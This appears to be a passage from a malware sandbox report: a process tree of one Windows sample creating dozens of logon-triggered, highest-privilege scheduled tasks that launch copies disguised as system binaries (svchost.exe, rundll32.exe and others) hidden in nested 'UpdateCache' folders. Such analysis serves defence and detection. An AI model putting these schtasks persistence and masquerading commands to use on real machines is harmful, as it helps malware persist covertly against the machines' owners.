  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14364
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_LaunchWinApp_5" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\LaunchWinApp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14376
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_LaunchWinApp_5" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\LaunchWinApp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5324
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_6" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14396
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_6" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5460
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_7" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14404
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_7" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4812
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_psr_8" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14416
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14424
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15588
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rekeywiz_10" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14432
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_perfhost_11" /tr ""C:\Users\Admin\AppData\Roaming\InitializeApprove\Logs\perfhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14460
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_perfhost_11" /tr ""C:\Users\Admin\AppData\Roaming\InitializeApprove\Logs\perfhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10112
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_logman_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\logman.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14472
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_whoami_13" /tr ""C:\ProgramData\MicrosoftService\whoami.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14484
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:15036
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14492
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7324
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msinfo32_15" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\msinfo32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14504
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_proquota_16" /tr ""C:\Users\Admin\AppData\Roaming\PingStop\Logs\UpdateCache\proquota.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:14512
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_proquota_16" /tr ""C:\Users\Admin\AppData\Roaming\PingStop\Logs\UpdateCache\proquota.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15808
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Utilman_17" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\Utilman.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14524
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_windowsdesktop-runtime-7.0.16-win-x64_18" /tr ""C:\ProgramData\Package Cache\{ef5af41f-d68c-48f7-bfb0-5055718601fc}\UpdateCache\UpdateCache\windowsdesktop-runtime-7.0.16-win-x64.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14536
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14544
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_autochk_20" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\autochk.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14552
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_21" /tr ""C:\Users\Admin\AppData\Roaming\UndoSave\Logs\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14564
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Register-CimProvider_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\Register-CimProvider.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14620
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WWAHost_23" /tr ""C:\ProgramData\MicrosoftService\WWAHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14632
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14640
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rundll32_25" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14648
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rundll32_25" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13752
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_26" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14660
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Register-CimProvider_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\Register-CimProvider.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14672
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_TapiUnattend_28" /tr ""C:\ProgramData\MicrosoftService\TapiUnattend.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14684
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_TapiUnattend_28" /tr ""C:\ProgramData\MicrosoftService\TapiUnattend.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13692
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14692
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_30" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14704
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mspaint_30" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11580
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_finger_31" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\finger.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14716
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesHardware_32" /tr ""C:\Users\Admin\AppData\Local\Publishers\Logs\UpdateCache\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14724
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dplaysvr_1" /tr ""C:\Users\Admin\AppData\Roaming\ConvertComplete\Logs\UpdateCache\dplaysvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3332
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dplaysvr_1" /tr ""C:\Users\Admin\AppData\Roaming\ConvertComplete\Logs\UpdateCache\dplaysvr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4216
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InfDefaultInstall_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1192
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InfDefaultInstall_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13592
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_3" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:15920
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:10032
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15912
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12596
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_5" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15900
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpresult_6" /tr ""C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\UpdateCache\UpdateCache\gpresult.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15888
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_gpresult_6" /tr ""C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\UpdateCache\UpdateCache\gpresult.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2052
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_unlodctr_7" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\unlodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15876
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_unlodctr_7" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\unlodctr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13688
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_8" /tr ""C:\ProgramData\MicrosoftService\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15864
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_convert_8" /tr ""C:\ProgramData\MicrosoftService\convert.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:10152
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15856
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_eventvwr_10" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\UpdateCache\UpdateCache\eventvwr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:15844
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_eventvwr_10" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\UpdateCache\UpdateCache\eventvwr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6876
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_stordiag_11" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15832
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_stordiag_11" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14556
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_newdev_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\newdev.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:15816
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_psr_13" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12700
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_psr_13" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:8188
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12692
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rekeywiz_15" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\UpdateCache\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12680
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rekeywiz_15" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\UpdateCache\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5716
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_finger_16" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\finger.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12672
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:7068
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_17" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12664
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_17" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1824
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ntprint_18" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\ntprint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:12652
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ntprint_18" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\ntprint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7384
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12640
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14420
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rundll32_20" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12628
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rundll32_20" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7276
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_finger_21" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\finger.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12616
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SyncHost_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SyncHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12588
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SyncHost_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SyncHost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3996
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WerFault_23" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\WerFault.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:6920
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WerFault_23" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\WerFault.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:16232
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1612
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fc_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10232
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fc_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12956
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_perfhost_26" /tr ""C:\Users\Admin\AppData\Roaming\InitializeApprove\Logs\UpdateCache\perfhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7016
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_perfhost_26" /tr ""C:\Users\Admin\AppData\Roaming\InitializeApprove\Logs\UpdateCache\perfhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3212
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InfDefaultInstall_27" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6800
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sort_28" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\sort.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1156
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6784
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2284
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msinfo32_30" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\msinfo32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6928
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_msinfo32_30" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\msinfo32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15644
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_31" /tr ""C:\Users\Admin\AppData\Roaming\UndoSave\Logs\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10024
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_convert_31" /tr ""C:\Users\Admin\AppData\Roaming\UndoSave\Logs\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10144
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_nslookup_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\nslookup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9992
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_nslookup_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\nslookup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7592
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpresult_1" /tr ""C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\UpdateCache\UpdateCache\gpresult.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:14696
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ctfmon_2" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4904
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ctfmon_2" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11848
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesRemote_3" /tr ""C:\ProgramData\Packages\Logs\SystemPropertiesRemote.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15352
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15948
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12788
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttunesvr_5" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\cttunesvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12944
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_psr_6" /tr ""C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10708
